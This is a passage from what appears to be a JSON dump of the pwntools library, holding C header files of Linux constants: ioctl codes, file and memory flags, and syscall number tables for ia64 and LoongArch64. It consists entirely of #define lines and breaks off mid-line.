261\n#define SOL_X25 262\n#define SOL_PACKET 263\n#define SOL_ATM 264\n#define SOL_AAL 265\n#define SOL_IRDA 266\n#define SOL_NETBEUI 267\n#define SOL_LLC 268\n#define SOL_DCCP 269\n#define SOL_NETLINK 270\n#define SOL_TIPC 271\n#define SOL_RXRPC 272\n#define SOL_PPPOL2TP 273\n#define SOL_BLUETOOTH 274\n#define SOL_PNPIPE 275\n#define SOL_RDS 276\n#define SOL_IUCV 277\n#define SOL_CAIF 278\n#define SOL_ALG 279\n#define SOL_NFC 280\n#define SOL_KCM 281\n#define SOL_TLS 282\n#define IPX_TYPE 1\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\n#define NI_NOFQDN 1\n#define NI_NUMERICHOST 2\n#define NI_NAMEREQD 4\n#define NI_NUMERICSERV 8\n#define NI_DGRAM 16\n#define EAI_FAMILY -1\n#define EAI_SOCKTYPE -2\n#define EAI_BADFLAGS -3\n#define EAI_NONAME -4\n#define EAI_SERVICE -5\n#define EAI_ADDRFAMILY -6\n#define EAI_NODATA -7\n#define EAI_MEMORY -8\n#define EAI_FAIL -9\n#define EAI_AGAIN -10\n#define EAI_SYSTEM -11\n#define AI_NUMERICHOST 1\n#define AI_CANONNAME 2\n#define AI_PASSIVE 4\n#define AI_NUMERICSERV 8\n#define AI_ADDRCONFIG 16\n#define AI_V4MAPPED 32\n#define AI_ALL 64\n#define SIOCADDRT 0x890B\n#define SIOCDELRT 0x890C\n#define SIOCRTMSG 0x890D\n#define SIOCGIFNAME 0x8910\n#define SIOCSIFLINK 0x8911\n#define SIOCGIFCONF 0x8912\n#define SIOCGIFFLAGS 0x8913\n#define SIOCSIFFLAGS 0x8914\n#define SIOCGIFADDR 0x8915\n#define SIOCSIFADDR 0x8916\n#define SIOCGIFDSTADDR 0x8917\n#define SIOCSIFDSTADDR 0x8918\n#define SIOCGIFBRDADDR 0x8919\n#define SIOCSIFBRDADDR 0x891a\n#define SIOCGIFNETMASK 0x891b\n#define SIOCSIFNETMASK 0x891c\n#define SIOCGIFMETRIC 0x891d\n#define SIOCSIFMETRIC 0x891e\n#define SIOCGIFMEM 0x891f\n#define SIOCSIFMEM 0x8920\n#define SIOCGIFMTU 0x8921\n#define SIOCSIFMTU 0x8922\n#define SIOCSIFNAME 0x8923\n#define SIOCSIFHWADDR 0x8924\n#define SIOCGIFENCAP 0x8925\n#define SIOCSIFENCAP 0x8926\n#define SIOCGIFHWADDR 0x8927\n#define SIOCGIFSLAVE 0x8929\n#define SIOCSIFSLAVE 0x8930\n#define SIOCADDMULTI 0x8931\n#define SIOCDELMULTI 0x8932\n#define SIOCGIFINDEX 0x8933\n#define SIOGIFINDEX 0x8933\n#define SIOCSIFPFLAGS 0x8934\n#define SIOCGIFPFLAGS 0x8935\n#define SIOCDIFADDR 0x8936\n#define SIOCSIFHWBROADCAST 0x8937\n#define SIOCGIFCOUNT 0x8938\n#define SIOCGIFBR 0x8940\n#define SIOCSIFBR 0x8941\n#define SIOCGIFTXQLEN 0x8942\n#define SIOCSIFTXQLEN 0x8943\n#define SIOCGIFDIVERT 0x8944\n#define SIOCSIFDIVERT 0x8945\n#define SIOCETHTOOL 0x8946\n#define SIOCDARP 0x8953\n#define SIOCGARP 0x8954\n#define SIOCSARP 0x8955\n#define SIOCDRARP 0x8960\n#define SIOCGRARP 0x8961\n#define SIOCSRARP 0x8962\n#define SIOCGIFMAP 0x8970\n#define SIOCSIFMAP 0x8971\n#define SIOCADDDLCI 0x8980\n#define SIOCDELDLCI 0x8981\n#define SIOCDEVPRIVATE 0x89F0\n#define F_LINUX_SPECIFIC_BASE 1024\n#define O_ACCMODE 0x3\n#define O_RDONLY 0x0\n#define O_WRONLY 0x1\n#define O_RDWR 0x2\n#define O_CREAT 0x40\n#define O_EXCL 0x80\n#define O_NOCTTY 0x100\n#define O_TRUNC 0x200\n#define O_APPEND 0x400\n#define O_NONBLOCK 0x800\n#define O_NDELAY 0x800\n#define O_DSYNC 0x1000\n#define FASYNC 0x2000\n#define O_DIRECT 0x4000\n#define O_LARGEFILE 0x8000\n#define O_DIRECTORY 0x10000\n#define O_NOFOLLOW 0x20000\n#define O_NOATIME 0x40000\n#define O_CLOEXEC 0x80000\n#define O_SYNC 0x101000\n#define O_PATH 0x200000\n#define __O_TMPFILE 0x400000\n#define F_DUPFD 0\n#define F_GETFD 1\n#define F_SETFD 2\n#define F_GETFL 3\n#define F_SETFL 4\n#define F_GETLK 5\n#define F_SETLK 6\n#define F_SETLKW 7\n#define F_SETOWN 8\n#define F_GETOWN 9\n#define F_SETSIG 10\n#define F_GETSIG 11\n#define F_GETLK64 12\n#define F_SETLK64 13\n#define F_SETLKW64 14\n#define FD_CLOEXEC 1\n#define F_RDLCK 0\n#define F_WRLCK 1\n#define F_UNLCK 2\n#define F_EXLCK 4\n#define F_SHLCK 8\n#define F_INPROGRESS 16\n#define LOCK_SH 1\n#define LOCK_EX 2\n#define LOCK_NB 4\n#define LOCK_UN 8\n#define LOCK_MAND 32\n#define LOCK_READ 64\n#define LOCK_WRITE 128\n#define LOCK_RW 192\n#define O_TMPFILE 0x410000\n#define O_ASYNC 0x2000\n#define F_SETOWN_EX 15\n#define F_GETOWN_EX 16\n#define F_GETOWNER_UIDS 17\n#define F_OFD_GETLK 36\n#define F_OFD_SETLK 37\n#define F_OFD_SETLKW 38\n#define F_OWNER_TID 0\n#define F_OWNER_PID 1\n#define F_OWNER_PGRP 2\n#define AT_FDCWD -100\n#define AT_SYMLINK_NOFOLLOW 0x100\n#define AT_REMOVEDIR 0x200\n#define AT_SYMLINK_FOLLOW 0x400\n#define AT_NO_AUTOMOUNT 0x800\n#define AT_EMPTY_PATH 0x1000\n#define AT_EACCESS 0x200\n#define MREMAP_MAYMOVE 1\n#define MREMAP_FIXED 2\n#define PROT_READ 0x1\n#define PROT_WRITE 0x2\n#define PROT_EXEC 0x4\n#define PROT_SEM 0x8\n#define PROT_NONE 0x0\n#define PROT_GROWSDOWN 0x01000000\n#define PROT_GROWSUP 0x02000000\n#define MAP_SHARED 0x01\n#define MAP_PRIVATE 0x02\n#define MAP_TYPE 0xf\n#define MADV_REMOVE 9\n#define MADV_DONTFORK 10\n#define MADV_DOFORK 11\n#define MADV_MERGEABLE 12\n#define MADV_UNMERGEABLE 13\n#define MADV_HUGEPAGE 14\n#define MADV_NOHUGEPAGE 15\n#define MADV_DONTDUMP 16\n#define MADV_DODUMP 17\n#define MADV_HWPOISON 100\n#define MADV_SOFT_OFFLINE 101\n#define MLOCK_ONFAULT 1\n#define MAP_FIXED 0x10\n#define MAP_ANONYMOUS 0x20\n#define MAP_GROWSDOWN 0x0100\n#define MAP_GROWSUP 0x0200\n#define MAP_DENYWRITE 0x0800\n#define MAP_EXECUTABLE 0x1000\n#define MAP_LOCKED 0x2000\n#define MAP_NORESERVE 0x4000\n#define MAP_POPULATE 0x8000\n#define MAP_NONBLOCK 0x10000\n#define MAP_STACK 0x20000\n#define MAP_HUGETLB 0x40000\n#define MS_ASYNC 1\n#define MS_INVALIDATE 2\n#define MS_SYNC 4\n#define MADV_NORMAL 0x0\n#define MADV_RANDOM 0x1\n#define MADV_SEQUENTIAL 0x2\n#define MADV_WILLNEED 0x3\n#define MADV_DONTNEED 0x4\n#define MAP_ANON 0x20\n#define MAP_FILE 0\n#define POSIX_MADV_NORMAL 0x0\n#define POSIX_MADV_SEQUENTIAL 0x2\n#define POSIX_MADV_RANDOM 0x1\n#define POSIX_MADV_WILLNEED 0x3\n#define POSIX_MADV_DONTNEED 0x4\n#define SYS_accept (1024 + 170)\n#define SYS_accept4 (1024 + 310)\n#define SYS_access (1024 + 25)\n#define SYS_acct (1024 + 40)\n#define SYS_add_key (1024 + 247)\n#define SYS_adjtimex (1024 + 107)\n#define SYS_afs_syscall (1024 + 117)\n#define SYS_bdflush (1024 + 114)\n#define SYS_bind (1024 + 167)\n#define SYS_bpf (1024 + 317)\n#define SYS_brk (1024 + 36)\n#define SYS_capget (1024 + 161)\n#define SYS_capset (1024 + 162)\n#define SYS_chdir (1024 + 10)\n#define SYS_chmod (1024 + 14)\n#define SYS_chown (1024 + 15)\n#define SYS_chroot (1024 + 44)\n#define SYS_clock_adjtime (1024 + 304)\n#define SYS_clock_getres (1024 + 231)\n#define SYS_clock_gettime (1024 + 230)\n#define SYS_clock_nanosleep (1024 + 232)\n#define SYS_clock_settime (1024 + 229)\n#define SYS_clone (1024 + 104)\n#define SYS_clone2 (1024 + 189)\n#define SYS_close (1024 + 5)\n#define SYS_connect (1024 + 168)\n#define SYS_copy_file_range (1024 + 323)\n#define SYS_creat (1024 + 6)\n#define SYS_delete_module (1024 + 110)\n#define SYS_dup (1024 + 33)\n#define SYS_dup2 (1024 + 46)\n#define SYS_dup3 (1024 + 292)\n#define SYS_epoll_create (1024 + 219)\n#define SYS_epoll_create1 (1024 + 291)\n#define SYS_epoll_ctl (1024 + 220)\n#define SYS_epoll_pwait (1024 + 281)\n#define SYS_epoll_wait (1024 + 221)\n#define SYS_eventfd (1024 + 285)\n#define SYS_eventfd2 (1024 + 290)\n#define SYS_execve (1024 + 9)\n#define SYS_execveat (1024 + 318)\n#define SYS_exit (1024 + 1)\n#define SYS_exit_group (1024 + 212)\n#define SYS_faccessat (1024 + 269)\n#define SYS_fadvise64 (1024 + 210)\n#define SYS_fallocate (1024 + 279)\n#define SYS_fanotify_init (1024 + 299)\n#define SYS_fanotify_mark (1024 + 300)\n#define SYS_fchdir (1024 + 11)\n#define SYS_fchmod (1024 + 75)\n#define SYS_fchmodat (1024 + 268)\n#define SYS_fchown (1024 + 76)\n#define SYS_fchownat (1024 + 260)\n#define SYS_fcntl (1024 + 42)\n#define SYS_fdatasync (1024 + 28)\n#define SYS_fgetxattr (1024 + 198)\n#define SYS_finit_module (1024 + 311)\n#define SYS_flistxattr (1024 + 201)\n#define SYS_flock (1024 + 121)\n#define SYS_fremovexattr (1024 + 204)\n#define SYS_fsconfig (1024 + 431)\n#define SYS_fsetxattr (1024 + 195)\n#define SYS_fsmount (1024 + 432)\n#define SYS_fsopen (1024 + 430)\n#define SYS_fspick (1024 + 433)\n#define SYS_fstat (1024 + 188)\n#define SYS_fstatfs (1024 + 80)\n#define SYS_fstatfs64 (1024 + 233)\n#define SYS_fsync (1024 + 27)\n#define SYS_ftruncate (1024 + 74)\n#define SYS_futex (1024 + 206)\n#define SYS_futimesat (1024 + 261)\n#define SYS_getcpu (1024 + 280)\n#define SYS_getcwd (1024 + 160)\n#define SYS_getdents (1024 + 120)\n#define SYS_getdents64 (1024 + 190)\n#define SYS_getegid (1024 + 39)\n#define SYS_geteuid (1024 + 23)\n#define SYS_getgid (1024 + 38)\n#define SYS_getgroups (1024 + 53)\n#define SYS_getitimer (1024 + 95)\n#define SYS_get_mempolicy (1024 + 236)\n#define SYS_getpeername (1024 + 172)\n#define SYS_getpgid (1024 + 55)\n#define SYS_getpid (1024 + 17)\n#define SYS_getpmsg (1024 + 164)\n#define SYS_getppid (1024 + 18)\n#define SYS_getpriority (1024 + 77)\n#define SYS_getrandom (1024 + 315)\n#define SYS_getresgid (1024 + 51)\n#define SYS_getresuid (1024 + 49)\n#define SYS_getrlimit (1024 + 61)\n#define SYS_get_robust_list (1024 + 275)\n#define SYS_getrusage (1024 + 62)\n#define SYS_getsid (1024 + 58)\n#define SYS_getsockname (1024 + 171)\n#define SYS_getsockopt (1024 + 180)\n#define SYS_gettid (1024 + 81)\n#define SYS_gettimeofday (1024 + 63)\n#define SYS_getuid (1024 + 22)\n#define SYS_getunwind (1024 + 191)\n#define SYS_getxattr (1024 + 196)\n#define SYS_init_module (1024 + 109)\n#define SYS_inotify_add_watch (1024 + 254)\n#define SYS_inotify_init (1024 + 253)\n#define SYS_inotify_init1 (1024 + 294)\n#define SYS_inotify_rm_watch (1024 + 255)\n#define SYS_io_cancel (1024 + 218)\n#define SYS_ioctl (1024 + 41)\n#define SYS_io_destroy (1024 + 215)\n#define SYS_io_getevents (1024 + 216)\n#define SYS_io_pgetevents (1024 + 327)\n#define SYS_ioprio_get (1024 + 251)\n#define SYS_ioprio_set (1024 + 250)\n#define SYS_io_setup (1024 + 214)\n#define SYS_io_submit (1024 + 217)\n#define SYS_io_uring_enter (1024 + 426)\n#define SYS_io_uring_register (1024 + 427)\n#define SYS_io_uring_setup (1024 + 425)\n#define SYS_kcmp (1024 + 321)\n#define SYS_kexec_load (1024 + 244)\n#define SYS_keyctl (1024 + 249)\n#define SYS_kill (1024 + 29)\n#define SYS_lchown (1024 + 100)\n#define SYS_lgetxattr (1024 + 197)\n#define SYS_link (1024 + 7)\n#define SYS_linkat (1024 + 265)\n#define SYS_Linux 1024\n#define SYS_listen (1024 + 169)\n#define SYS_listxattr (1024 + 199)\n#define SYS_llistxattr (1024 + 200)\n#define SYS_lookup_dcookie (1024 + 213)\n#define SYS_lremovexattr (1024 + 203)\n#define SYS_lseek (1024 + 16)\n#define SYS_lsetxattr (1024 + 194)\n#define SYS_lstat (1024 + 187)\n#define SYS_madvise (1024 + 185)\n#define SYS_mbind (1024 + 235)\n#define SYS_membarrier (1024 + 320)\n#define SYS_memfd_create (1024 + 316)\n#define SYS_migrate_pages (1024 + 256)\n#define SYS_mincore (1024 + 184)\n#define SYS_mkdir (1024 + 31)\n#define SYS_mkdirat (1024 + 258)\n#define SYS_mknod (1024 + 13)\n#define SYS_mknodat (1024 + 259)\n#define SYS_mlock (1024 + 129)\n#define SYS_mlock2 (1024 + 322)\n#define SYS_mlockall (1024 + 130)\n#define SYS_mmap (1024 + 127)\n#define SYS_mmap2 (1024 + 148)\n#define SYS_mount (1024 + 19)\n#define SYS_move_mount (1024 + 429)\n#define SYS_move_pages (1024 + 252)\n#define SYS_mprotect (1024 + 131)\n#define SYS_mq_getsetattr (1024 + 243)\n#define SYS_mq_notify (1024 + 242)\n#define SYS_mq_open (1024 + 238)\n#define SYS_mq_timedreceive (1024 + 241)\n#define SYS_mq_timedsend (1024 + 240)\n#define SYS_mq_unlink (1024 + 239)\n#define SYS_mremap (1024 + 132)\n#define SYS_msgctl (1024 + 88)\n#define SYS_msgget (1024 + 85)\n#define SYS_msgrcv (1024 + 87)\n#define SYS_msgsnd (1024 + 86)\n#define SYS_msync (1024 + 133)\n#define SYS_munlock (1024 + 134)\n#define SYS_munlockall (1024 + 135)\n#define SYS_munmap (1024 + 128)\n#define SYS_name_to_handle_at (1024 + 302)\n#define SYS_nanosleep (1024 + 144)\n#define SYS_newfstatat (1024 + 262)\n#define SYS_nfsservctl (1024 + 145)\n#define SYS_ni_syscall (1024 + 0)\n#define SYS_old_getpagesize (1024 + 147)\n#define SYS_open (1024 + 4)\n#define SYS_openat (1024 + 257)\n#define SYS_openat2 (1024 + 437)\n#define SYS_open_by_handle_at (1024 + 303)\n#define SYS_open_tree (1024 + 428)\n#define SYS_pciconfig_read (1024 + 149)\n#define SYS_pciconfig_write (1024 + 150)\n#define SYS_perf_event_open (1024 + 328)\n#define SYS_perfmonctl (1024 + 151)\n#define SYS_personality (1024 + 116)\n#define SYS_pidfd_getfd (1024 + 438)\n#define SYS_pidfd_open (1024 + 434)\n#define SYS_pidfd_send_signal (1024 + 424)\n#define SYS_pipe (1024 + 34)\n#define SYS_pipe2 (1024 + 293)\n#define SYS_pivot_root (1024 + 183)\n#define SYS_pkey_alloc (1024 + 331)\n#define SYS_pkey_free (1024 + 332)\n#define SYS_pkey_mprotect (1024 + 330)\n#define SYS_poll (1024 + 66)\n#define SYS_ppoll (1024 + 271)\n#define SYS_prctl (1024 + 146)\n#define SYS_pread64 (1024 + 124)\n#define SYS_preadv (1024 + 295)\n#define SYS_preadv2 (1024 + 324)\n#define SYS_prlimit64 (1024 + 301)\n#define SYS_process_vm_readv (1024 + 308)\n#define SYS_process_vm_writev (1024 + 309)\n#define SYS_pselect6 (1024 + 270)\n#define SYS_ptrace (1024 + 24)\n#define SYS_putpmsg (1024 + 165)\n#define SYS_pwrite64 (1024 + 125)\n#define SYS_pwritev (1024 + 296)\n#define SYS_pwritev2 (1024 + 325)\n#define SYS_quotactl (1024 + 113)\n#define SYS_read (1024 + 2)\n#define SYS_readahead (1024 + 192)\n#define SYS_readlink (1024 + 68)\n#define SYS_readlinkat (1024 + 267)\n#define SYS_readv (1024 + 122)\n#define SYS_reboot (1024 + 72)\n#define SYS_recv (1024 + 176)\n#define SYS_recvfrom (1024 + 177)\n#define SYS_recvmmsg (1024 + 298)\n#define SYS_recvmsg (1024 + 182)\n#define SYS_remap_file_pages (1024 + 101)\n#define SYS_removexattr (1024 + 202)\n#define SYS_rename (1024 + 30)\n#define SYS_renameat (1024 + 264)\n#define SYS_renameat2 (1024 + 314)\n#define SYS_request_key (1024 + 248)\n#define SYS_restart_syscall (1024 + 222)\n#define SYS_rmdir (1024 + 32)\n#define SYS_rseq (1024 + 333)\n#define SYS_rt_sigaction (1024 + 153)\n#define SYS_rt_sigpending (1024 + 154)\n#define SYS_rt_sigprocmask (1024 + 155)\n#define SYS_rt_sigqueueinfo (1024 + 156)\n#define SYS_rt_sigreturn (1024 + 157)\n#define SYS_rt_sigsuspend (1024 + 158)\n#define SYS_rt_sigtimedwait (1024 + 159)\n#define SYS_rt_tgsigqueueinfo (1024 + 297)\n#define SYS_sched_getaffinity (1024 + 208)\n#define SYS_sched_getattr (1024 + 313)\n#define SYS_sched_getparam (1024 + 136)\n#define SYS_sched_get_priority_max (1024 + 141)\n#define SYS_sched_get_priority_min (1024 + 142)\n#define SYS_sched_getscheduler (1024 + 138)\n#define SYS_sched_rr_get_interval (1024 + 143)\n#define SYS_sched_setaffinity (1024 + 207)\n#define SYS_sched_setattr (1024 + 312)\n#define SYS_sched_setparam (1024 + 137)\n#define SYS_sched_setscheduler (1024 + 139)\n#define SYS_sched_yield (1024 + 140)\n#define SYS_seccomp (1024 + 329)\n#define SYS_select (1024 + 65)\n#define SYS_semctl (1024 + 84)\n#define SYS_semget (1024 + 82)\n#define SYS_semop (1024 + 83)\n#define SYS_semtimedop (1024 + 223)\n#define SYS_send (1024 + 174)\n#define SYS_sendfile (1024 + 163)\n#define SYS_sendmmsg (1024 + 307)\n#define SYS_sendmsg (1024 + 181)\n#define SYS_sendto (1024 + 175)\n#define SYS_setdomainname (1024 + 105)\n#define SYS_setfsgid (1024 + 119)\n#define SYS_setfsuid (1024 + 118)\n#define SYS_setgid (1024 + 37)\n#define SYS_setgroups (1024 + 54)\n#define SYS_sethostname (1024 + 59)\n#define SYS_setitimer (1024 + 94)\n#define SYS_set_mempolicy (1024 + 237)\n#define SYS_setns (1024 + 306)\n#define SYS_setpgid (1024 + 56)\n#define SYS_setpriority (1024 + 78)\n#define SYS_setregid (1024 + 48)\n#define SYS_setresgid (1024 + 52)\n#define SYS_setresuid (1024 + 50)\n#define SYS_setreuid (1024 + 47)\n#define SYS_setrlimit (1024 + 60)\n#define SYS_set_robust_list (1024 + 274)\n#define SYS_setsid (1024 + 57)\n#define SYS_setsockopt (1024 + 179)\n#define SYS_set_tid_address (1024 + 209)\n#define SYS_settimeofday (1024 + 64)\n#define SYS_setuid (1024 + 21)\n#define SYS_setxattr (1024 + 193)\n#define SYS_shmat (1024 + 90)\n#define SYS_shmctl (1024 + 92)\n#define SYS_shmdt (1024 + 91)\n#define SYS_shmget (1024 + 89)\n#define SYS_shutdown (1024 + 178)\n#define SYS_sigaltstack (1024 + 152)\n#define SYS_signalfd (1024 + 283)\n#define SYS_signalfd4 (1024 + 289)\n#define SYS_socket (1024 + 166)\n#define SYS_socketpair (1024 + 173)\n#define SYS_splice (1024 + 273)\n#define SYS_stat (1024 + 186)\n#define SYS_statfs (1024 + 79)\n#define SYS_statfs64 (1024 + 234)\n#define SYS_statx (1024 + 326)\n#define SYS_swapoff (1024 + 71)\n#define SYS_swapon (1024 + 70)\n#define SYS_symlink (1024 + 67)\n#define SYS_symlinkat (1024 + 266)\n#define SYS_sync (1024 + 26)\n#define SYS_sync_file_range (1024 + 276)\n#define SYS_syncfs (1024 + 305)\n#define SYS__sysctl (1024 + 126)\n#define SYS_sysfs (1024 + 115)\n#define SYS_sysinfo (1024 + 103)\n#define SYS_syslog (1024 + 93)\n#define SYS_tee (1024 + 277)\n#define SYS_tgkill (1024 + 211)\n#define SYS_timer_create (1024 + 224)\n#define SYS_timer_delete (1024 + 228)\n#define SYS_timerfd (1024 + 284)\n#define SYS_timerfd_create (1024 + 286)\n#define SYS_timerfd_gettime (1024 + 288)\n#define SYS_timerfd_settime (1024 + 287)\n#define SYS_timer_getoverrun (1024 + 227)\n#define SYS_timer_gettime (1024 + 226)\n#define SYS_timer_settime (1024 + 225)\n#define SYS_times (1024 + 35)\n#define SYS_tkill (1024 + 205)\n#define SYS_truncate (1024 + 73)\n#define SYS_umask (1024 + 43)\n#define SYS_umount2 (1024 + 20)\n#define SYS_uname (1024 + 106)\n#define SYS_unlink (1024 + 8)\n#define SYS_unlinkat (1024 + 263)\n#define SYS_unshare (1024 + 272)\n#define SYS_uselib (1024 + 69)\n#define SYS_userfaultfd (1024 + 319)\n#define SYS_ustat (1024 + 45)\n#define SYS_utimensat (1024 + 282)\n#define SYS_utimes (1024 + 12)\n#define SYS_vhangup (1024 + 99)\n#define SYS_vmsplice (1024 + 278)\n#define SYS_vserver (1024 + 245)\n#define SYS_wait4 (1024 + 102)\n#define SYS_waitid (1024 + 246)\n#define SYS_write (1024 + 3)\n#define SYS_writev (1024 + 123)\n"
  },
  {
    "path": "pwnlib/data/includes/linux/loongarch64.h",
    "content": "#define __NR_io_setup 0\n#define __NR_io_destroy 1\n#define __NR_io_submit 2\n#define __NR_io_cancel 3\n#define __NR_io_getevents 4\n#define __NR_setxattr 5\n#define __NR_lsetxattr 6\n#define __NR_fsetxattr 7\n#define __NR_getxattr 8\n#define __NR_lgetxattr 9\n#define __NR_fgetxattr 10\n#define __NR_listxattr 11\n#define __NR_llistxattr 12\n#define __NR_flistxattr 13\n#define __NR_removexattr 14\n#define __NR_lremovexattr 15\n#define __NR_fremovexattr 16\n#define __NR_getcwd 17\n#define __NR_lookup_dcookie 18\n#define __NR_eventfd2 19\n#define __NR_epoll_create1 20\n#define __NR_epoll_ctl 21\n#define __NR_epoll_pwait 22\n#define __NR_dup 23\n#define __NR_dup3 24\n#define __NR3264_fcntl 25\n#define __NR_inotify_init1 26\n#define __NR_inotify_add_watch 27\n#define __NR_inotify_rm_watch 28\n#define __NR_ioctl 29\n#define __NR_ioprio_set 30\n#define __NR_ioprio_get 31\n#define __NR_flock 32\n#define __NR_mknodat 33\n#define __NR_mkdirat 34\n#define __NR_unlinkat 35\n#define __NR_symlinkat 36\n#define __NR_linkat 37\n#define __NR_umount2 39\n#define __NR_mount 40\n#define __NR_pivot_root 41\n#define __NR_nfsservctl 42\n#define __NR3264_statfs 43\n#define __NR3264_fstatfs 44\n#define __NR3264_truncate 45\n#define __NR3264_ftruncate 46\n#define __NR_fallocate 47\n#define __NR_faccessat 48\n#define __NR_chdir 49\n#define __NR_fchdir 50\n#define __NR_chroot 51\n#define __NR_fchmod 52\n#define __NR_fchmodat 53\n#define __NR_fchownat 54\n#define __NR_fchown 55\n#define __NR_openat 56\n#define __NR_close 57\n#define __NR_vhangup 58\n#define __NR_pipe2 59\n#define __NR_quotactl 60\n#define __NR_getdents64 61\n#define __NR3264_lseek 62\n#define __NR_read 63\n#define __NR_write 64\n#define __NR_readv 65\n#define __NR_writev 66\n#define __NR_pread64 67\n#define __NR_pwrite64 68\n#define __NR_preadv 69\n#define __NR_pwritev 70\n#define __NR3264_sendfile 71\n#define __NR_pselect6 72\n#define __NR_ppoll 73\n#define __NR_signalfd4 74\n#define __NR_vmsplice 75\n#define __NR_splice 76\n#define __NR_tee 77\n#define __NR_readlinkat 78\n#define __NR_sync 81\n#define __NR_fsync 82\n#define __NR_fdatasync 83\n#define __NR_sync_file_range 84\n#define __NR_timerfd_create 85\n#define __NR_timerfd_settime 86\n#define __NR_timerfd_gettime 87\n#define __NR_utimensat 88\n#define __NR_acct 89\n#define __NR_capget 90\n#define __NR_capset 91\n#define __NR_personality 92\n#define __NR_exit 93\n#define __NR_exit_group 94\n#define __NR_waitid 95\n#define __NR_set_tid_address 96\n#define __NR_unshare 97\n#define __NR_futex 98\n#define __NR_set_robust_list 99\n#define __NR_get_robust_list 100\n#define __NR_nanosleep 101\n#define __NR_getitimer 102\n#define __NR_setitimer 103\n#define __NR_kexec_load 104\n#define __NR_init_module 105\n#define __NR_delete_module 106\n#define __NR_timer_create 107\n#define __NR_timer_gettime 108\n#define __NR_timer_getoverrun 109\n#define __NR_timer_settime 110\n#define __NR_timer_delete 111\n#define __NR_clock_settime 112\n#define __NR_clock_gettime 113\n#define __NR_clock_getres 114\n#define __NR_clock_nanosleep 115\n#define __NR_syslog 116\n#define __NR_ptrace 117\n#define __NR_sched_setparam 118\n#define __NR_sched_setscheduler 119\n#define __NR_sched_getscheduler 120\n#define __NR_sched_getparam 121\n#define __NR_sched_setaffinity 122\n#define __NR_sched_getaffinity 123\n#define __NR_sched_yield 124\n#define __NR_sched_get_priority_max 125\n#define __NR_sched_get_priority_min 126\n#define __NR_sched_rr_get_interval 127\n#define __NR_restart_syscall 128\n#define __NR_kill 129\n#define __NR_tkill 130\n#define __NR_tgkill 131\n#define __NR_sigaltstack 132\n#define __NR_rt_sigsuspend 133\n#define __NR_rt_sigaction 134\n#define __NR_rt_sigprocmask 135\n#define __NR_rt_sigpending 136\n#define __NR_rt_sigtimedwait 137\n#define __NR_rt_sigqueueinfo 138\n#define __NR_rt_sigreturn 139\n#define __NR_setpriority 140\n#define __NR_getpriority 141\n#define __NR_reboot 142\n#define __NR_setregid 143\n#define __NR_setgid 144\n#define __NR_setreuid 145\n#define __NR_setuid 146\n#define __NR_setresuid 147\n#define __NR_getresuid 148\n#define __NR_setresgid 149\n#define __NR_getresgid 150\n#define __NR_setfsuid 151\n#define __NR_setfsgid 152\n#define __NR_times 153\n#define __NR_setpgid 154\n#define __NR_getpgid 155\n#define __NR_getsid 156\n#define __NR_setsid 157\n#define __NR_getgroups 158\n#define __NR_setgroups 159\n#define __NR_uname 160\n#define __NR_sethostname 161\n#define __NR_setdomainname 162\n#define __NR_getrusage 165\n#define __NR_umask 166\n#define __NR_prctl 167\n#define __NR_getcpu 168\n#define __NR_gettimeofday 169\n#define __NR_settimeofday 170\n#define __NR_adjtimex 171\n#define __NR_getpid 172\n#define __NR_getppid 173\n#define __NR_getuid 174\n#define __NR_geteuid 175\n#define __NR_getgid 176\n#define __NR_getegid 177\n#define __NR_gettid 178\n#define __NR_sysinfo 179\n#define __NR_mq_open 180\n#define __NR_mq_unlink 181\n#define __NR_mq_timedsend 182\n#define __NR_mq_timedreceive 183\n#define __NR_mq_notify 184\n#define __NR_mq_getsetattr 185\n#define __NR_msgget 186\n#define __NR_msgctl 187\n#define __NR_msgrcv 188\n#define __NR_msgsnd 189\n#define __NR_semget 190\n#define __NR_semctl 191\n#define __NR_semtimedop 192\n#define __NR_semop 193\n#define __NR_shmget 194\n#define __NR_shmctl 195\n#define __NR_shmat 196\n#define __NR_shmdt 197\n#define __NR_socket 198\n#define __NR_socketpair 199\n#define __NR_bind 200\n#define __NR_listen 201\n#define __NR_accept 202\n#define __NR_connect 203\n#define __NR_getsockname 204\n#define __NR_getpeername 205\n#define __NR_sendto 206\n#define __NR_recvfrom 207\n#define __NR_setsockopt 208\n#define __NR_getsockopt 209\n#define __NR_shutdown 210\n#define __NR_sendmsg 211\n#define __NR_recvmsg 212\n#define __NR_readahead 213\n#define __NR_brk 214\n#define __NR_munmap 215\n#define __NR_mremap 216\n#define __NR_add_key 217\n#define __NR_request_key 218\n#define __NR_keyctl 219\n#define __NR_clone 220\n#define __NR_execve 221\n#define __NR3264_mmap 222\n#define __NR3264_fadvise64 223\n#define __NR_swapon 224\n#define __NR_swapoff 225\n#define __NR_mprotect 226\n#define __NR_msync 227\n#define __NR_mlock 228\n#define __NR_munlock 229\n#define __NR_mlockall 230\n#define __NR_munlockall 231\n#define __NR_mincore 232\n#define __NR_madvise 233\n#define __NR_remap_file_pages 234\n#define __NR_mbind 235\n#define __NR_get_mempolicy 236\n#define __NR_set_mempolicy 237\n#define __NR_migrate_pages 238\n#define __NR_move_pages 239\n#define __NR_rt_tgsigqueueinfo 240\n#define __NR_perf_event_open 241\n#define __NR_accept4 242\n#define __NR_recvmmsg 243\n#define __NR_arch_specific_syscall 244\n#define __NR_wait4 260\n#define __NR_prlimit64 261\n#define __NR_fanotify_init 262\n#define __NR_fanotify_mark 263\n#define __NR_name_to_handle_at 264\n#define __NR_open_by_handle_at 265\n#define __NR_clock_adjtime 266\n#define __NR_syncfs 267\n#define __NR_setns 268\n#define __NR_sendmmsg 269\n#define __NR_process_vm_readv 270\n#define __NR_process_vm_writev 271\n#define __NR_kcmp 272\n#define __NR_finit_module 273\n#define __NR_sched_setattr 274\n#define __NR_sched_getattr 275\n#define __NR_renameat2 276\n#define __NR_seccomp 277\n#define __NR_getrandom 278\n#define __NR_memfd_create 279\n#define __NR_bpf 280\n#define __NR_execveat 281\n#define __NR_userfaultfd 282\n#define __NR_membarrier 283\n#define __NR_mlock2 284\n#define __NR_copy_file_range 285\n#define __NR_preadv2 286\n#define __NR_pwritev2 287\n#define __NR_pkey_mprotect 288\n#define __NR_pkey_alloc 289\n#define __NR_pkey_free 290\n#define __NR_statx 291\n#define __NR_io_pgetevents 292\n#define __NR_rseq 293\n#define __NR_kexec_file_load 294\n#define __NR_pidfd_send_signal 424\n#define __NR_io_uring_setup 425\n#define __NR_io_uring_enter 426\n#define __NR_io_uring_register 427\n#define __NR_open_tree 428\n#define __NR_move_mount 429\n#define __NR_fsopen 430\n#define 